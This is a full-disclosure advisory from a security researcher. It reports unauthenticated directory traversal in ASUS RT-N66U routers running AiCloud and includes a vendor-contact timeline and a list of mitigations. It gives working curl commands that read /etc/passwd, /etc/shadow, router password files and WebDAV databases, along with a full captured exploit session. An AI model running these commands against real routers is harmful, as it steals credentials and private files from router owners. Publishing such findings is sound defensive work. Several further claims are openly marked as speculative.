Vulnerable product: ASUS RT-N66U when HTTPS WebService via AiCloud is enabled
(AC66R and RT-N65U are effected as well, but need more testing)

Vulnerabilities:
- Linux 2.6.22 - Researched on both 3.0.0.4.270 and 3.0.0.4.354 firmware
- Full directory traversal and plain text disclosure of all sensitive
files, including /passwd and /shadow
- Full access to webdav.db and smbdav.db
- Ability to traverse to any external storage plugged in through the
USB ports on the back of the router

Not fully confirmed but seen in several tests and are probable:
- Uploading of malicious java script into the Smart sync folder, which
is then sent to the host when they preform their scheduled sync
- Ability to often alter iptables, dns, firewall settings and many
other configurations without authentication

Likely but need additional testing: (needed to list this because the
potential for an attacker to gain a pptp tunnel to an extremely large
numbers of routers, is quite possible and extremely dangerous)
- Ability to change or alter configuration files normally only changed
through the GUI web admin console
- Ability to enable VPN service with pptp (Needs far more testing)
- Suppress logging through disabling a configuration switch

Timeline:
- Contacted Asus two weeks ago (under my online handle account) around 06/06
- Second email send on 06/10 when discovered first un-authenticated
file disclosure
- Received only one response back stating it was not an issue
- Sent a third email on 06/14
- Only response received was an acknowledgement that my email was received
- Attempted to call their development or incident team, and was told
that someone would call me back on 06/17
- Sending another email today under my real name

The vulnerability is that on many, if not on almost all N66U units
that have enabled https web service access via the AiCloud feature,
are vulnerable to un-authenticated directory traversal and full
sensitive file disclosure. Any of the AiCloud options "Cloud Disk"
"Smart Access" and "Smart Sync"(need another verification on this one)
appear to enable this vulnerability.

When AiCloud is enabled, web access is defaulted to port 443 and
content streaming to http port 8082. Depending on numerous
configuration factors and which firmware version that is used, the
directory structure, and what files are disclosed when bypassing
authentication varies. Both ports will disclose the information, port
8082 being of the most concern since, for now, the web access via
mini_httpd port 80, is not as vulnerable to directory traversal. More
urgent testing needs to be done here. HTTPS uses lighttpd v 1.429.

The UPnP bug concerning the exposed "hidden" $root samba share, which
allows simple wget commands to grab 4 sensitive XML's is already well
known. http://seclists.org/fulldisclosure/2013/Mar/126 The $root share
is part of the problem, however, UPnP does not need to be enabled for
the vulnerability to be active. Using basic cURL commands, all
sensitive information can be obtained given the right directory path.
Credit for finding this bug, or at least I think it was them, are the
folks at http://www.websecuritywatch.com/ I'm sure he will confirm the
difficulty in dealing with ASUS.

ex:
(-v is helpful to see that SSL allows bypass of authentication, even
when it recognized a bogus cert is being used)

-e is optional, but on a few settings, putting it to 192.168.1.1
allows for bypass

--cacert any fake .pem file to 192.168.1.1 will work, and often this
marker is optional

cURL -v https://<IP>/smb/tmp/lighttpd.conf -k -L --cacert fake.pem -e
http://192.168.1.1

Once I found this conf file, along with parsing the DOM bindings using
firebug on the HTTPS AiCloud login page, I was able to piece together
the directory structure. It is important enough to post here.

root@Qanan:~# curl https://208.xxx.xx.xxx/smb/tmp/lighttpd.conf -k -L
--cacert ASUS.pem
* About to connect() to 208.xxx.xx.xxx port 443 (#0)
*   Trying 208.xxx.xx.xxx...
* connected
* Connected to 208.xxx.xx.xxx (208.xxx.xx.xxx) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: ASUS.pem
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server key exchange (12):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using ECDHE-RSA-AES256-SHA
* Server certificate:
*   subject: C=US; CN=192.168.1.1
*   start date: 2009-12-31 04:48:00 GMT
*   expire date: 2020-01-01 16:48:00 GMT
*   common name: 192.168.1.1 (does not match '208.xxx.xx.xxx')
*   issuer: C=US; CN=192.168.1.1
*   SSL certificate verify result: self signed certificate (18),
continuing anyway.
> GET /smb/tmp/lighttpd.conf HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 208.xxx.xx.xxx
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Set-Cookie: TRACKID=1897c94fe988c0d5286365535b523218; Path=/; Version=1
< Content-Type: application/x-octet-stream
< Accept-Ranges: bytes
< ETag: "2224271715"
< Last-Modified: Sat, 01 Jan 2011 00:00:14 GMT
< Content-Length: 3473
< Date: Wed, 19 Jun 2013 22:49:32 GMT
< Server: lighttpd/1.4.29
< DDNS: xxxxxxx.asuscomm.com
<
server.modules+=("mod_alias")
server.modules+=("mod_userdir")
server.modules+=("mod_aidisk_access")
server.modules+=("mod_sharelink")
server.modules+=("mod_create_captcha_image")
server.modules+=("mod_webdav")
server.modules+=("mod_smbdav")
server.modules+=("mod_redirect")
server.modules+=("mod_compress")
server.modules+=("mod_usertrack")
server.modules+=("mod_rewrite")
server.modules+=("mod_access")
server.modules+=("mod_auth")
server.port=8082
server.document-root="/tmp/lighttpd/www"
server.upload-dirs=("/tmp/lighttpd/uploads")
server.errorlog="/tmp/lighttpd/err.log"
server.pid-file="/tmp/lighttpd/lighttpd.pid"
server.arpping-interface="br0"
server.errorfile-prefix="/usr/css/status-"
dir-listing.activate="enable"
server.syslog="/tmp/lighttpd/syslog.log"
mimetype.assign = (
".html" => "text/html",
".htm" => "text/html",
".css" => "text/css",
".js" => "text/javascript",
".swf" => "application/x-shockwave-flash",
"" => "application/x-octet-stream")
index-file.names = ( "index.php", "index.html",
"index.htm", "default.htm",
 " index.lighttpd.html" )
 url.access-deny             = ( "~", ".inc" )
 static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" )
compress.cache-dir          = "/tmp/lighttpd/compress/"
compress.filetype           = ( "application/x-javascript",
"text/css", "text/html", "text/plain" )
$SERVER["socket"]==":8082"{
   $HTTP["url"]=~"^/RT-N66U($|/)"{
       server.document-root = "/"
       alias.url=("/RT-N66U"=>"/mnt")
       webdav.activate="enable"
       webdav.is-readonly="disable"
       webdav.sqlite-db-name="/tmp/lighttpd/webdav.db"
   }
else $HTTP["url"]=~"^/smb($|/)"{
server.document-root = "/"
alias.url=("/smb"=>"/usr")
smbdav.auth_ntlm = ("Microsoft-WebDAV","xxBitKinex","WebDrive")
webdav.activate="enable"
webdav.is-readonly="disable"
}
else $HTTP["url"] =~ "^/favicon.ico$"{
server.document-root = "/"
alias.url = ( "/favicon.ico" => "/usr/css/favicon.ico" )
webdav.activate = "enable"
webdav.is-readonly = "enable"
}
else $HTTP["url"] !~ "^/smb($|/)" {
    server.document-root = "smb://"
    smbdav.activate = "enable"
    smbdav.is-readonly = "disable"
    smbdav.always-auth = "enable"
    smbdav.sqlite-db-name = "/tmp/lighttpd/smbdav.db"
    usertrack.cookie-name = "SMBSESSID"
}
}
$SERVER["socket"]==":443"{
ssl.pemfile="/tmp/lighttpd/server.pem"
ssl.engine="enable"
$HTTP["url"]=~"^/RT-N66U($|/)"{
       server.document-root = "/"
       alias.url=("/RT-N66U"=>"/mnt")
webdav.activate="enable"
webdav.is-readonly="disable"
webdav.sqlite-db-name="/tmp/lighttpd/webdav.db"
}
else $HTTP["url"]=~"^/smb($|/)"{
server.document-root = "/"
alias.url=("/smb"=>"/usr")
smbdav.auth_ntlm = ("Microsoft-WebDAV","xxBitKinex","WebDrive")
webdav.activate="enable"
webdav.is-readonly="disable"
}
else $HTTP["url"] =~ "^/favicon.ico$"{
server.document-root = "/"
alias.url = ( "/favicon.ico" => "/usr/css/favicon.ico" )
webdav.activate = "enable"
webdav.is-readonly = "enable"
}
else $HTTP["url"] !~ "^/smb($|/)" {
    server.document-root = "smb://"
    smbdav.activate = "enable"
    smbdav.is-readonly = "disable"
    smbdav.always-auth = "enable"
    smbdav.sqlite-db-name = "/tmp/lighttpd/smbdav.db"
    usertrack.cookie-name = "SMBSESSID"
}
}
debug.log-request-header="disable"
debug.log-response-header="disable"
debug.log-request-handling="disable"
debug.log-file-not-found="disable"
debug.log-condition-handling="disable"
* Connection #0 to host 208.xxx.xx.xxx left intact
* Closing connection #0
* SSLv3, TLS alert, Client hello (1):

Right now, <IP>/smb/ are the gateway to all the directories discovered
to date. However, it doesn't appear that Samba itself needs to be
active for this vulnerability to be enabled. More importantly are the
other "hidden" shares, namely $dir. As you can see above, this file
disclosure gives most attackers what they need in terms of directory
structure information.

Though it very important to note that the following are dependent on
configuration and firmware, and can be found in different directories
or may have different file names. Additional cURL command lines that
expel extremely sensitive information: (Port 8082 http output needs
more testing)

curl -v https://<IP>/smb/sbin/sysinfo -k -L
curl -v https://<IP>/smb/tmp/etc/passwd -k -L
curl -v https://<IP>/smb/tmp/etc/shadow -k -L
curl -v https://<IP>/smb/tmp/opt/etc/asus_lighttpdpassword -k -L (in some cases)

These two, when parsed to the different uhref's listed offer a huge
array of directory choices. i.e. /etc /bin /var /opt Sometimes the
output it verbose, sometimes not. On some configs, $root and $dir are
dead ends, and the information can be found only through /smb/tmp/.

curl -v https://<IP>/smb/tmp/$dir/ -k -L
curl -v https://<IP>/smb/tmp/$root/ -k -L

These databases can usually be snagged via wget:

/tmp/lighttpd/webdav.db
/tmp/lighttpd/smbdav.db


Interesting and needs further investigation:

- In many cases, an attacker could easily just use a simple web
browser and point to https://<IP>/smb/bin and gain full access by only
having to accept the untrusted cert.

-SQLite3 injections when placed in many of the various boxes in the
console itself seems to be accepted without an error. Have not tested
malicious injections nor database alterations. XSS basic alert
commands when encoded didn't seem to cause many issues either, but
needs far more testing.

-FTP and how it's directory structure, usually seen appended
href="/foo/../", interacts with Samba services. I also noticed an
extremely high number of public FTP sites with anonymous access,
opening up whatever is plugged into the router. There very well might
be a bug that cause the FTP service to start without the knowledge of
the end user. (Not proven, only speculation, but hard to fathom 15K+
people willingly putting their backup external hard drives out for the
public.

-DDNS has several potential flaws that need to be examined. One odd
thing is if end users do not choose a *.asuscomm.com DDNS, they still
have a hidden one, which is an MD5 hash. I think, from my testing,
that the web admin console port 80 might be vulnerable to directory
traversal through this feature. (Speculation, not proven)

-UPnP remote commands to change services

- Self signed certs are worthless, and I'm not sure why a better
solution wasn't put in place if they were going to authenticate to
asuscomm services.

- Effect
Right now, from what I can see from other surveys, more than 40,000
routers could be at potential risk. If proven that web admin access or
remote command alterations can be gained through the HTTPS
vulnerability, then I feel this could be a highly dangerous problem
because of the VPN service. If http port 80 web admin console is found
vulnerable, without HTTPS AiCloud being active, the number of routers
effected goes upwards of 100k+.

I believe that the FTP access is already being exploited, and feel
confident that others have most likely found this directory traversal
bug as well.

Mitigation and temporary fixes:

- Users need to be alerted to turn off AiCloud service immediately
- All Web access to both the http and https need to be halted until proven safe
- UPnP services need to be turned off (I'd say that a safe bet is for
all home routers to turn it off)
- Disable FTP and Samba services until the problem is fully
understood/patched if possible
- Enable the built in firewall, change authentication to be MD5 hashed
- CHANGE THE DEFAULT USERNAME AND PASSWORD!!!!
- End Users should try to avoid using the default gateway of
192.168.1.1 and pick something unusual
- Turn off IPSEC, PPTP and the other NAT passthroughs if the VPN is
not explicitly being utilized
- Upgrade to third party firmware, which appears from a few reports to
be immune to some extent (not proven or tested)

I was hesitant about posting so much information on this matter, but
felt that if this vulnerability is proven by others as true, the
dangers with the VPN are not negligible. Having access to people's
backup of their smart phones and C: drives is beyond troubling. I hope
I am wrong, and this is just a big mistake. Any questions, fire away.

Thanks, Kyle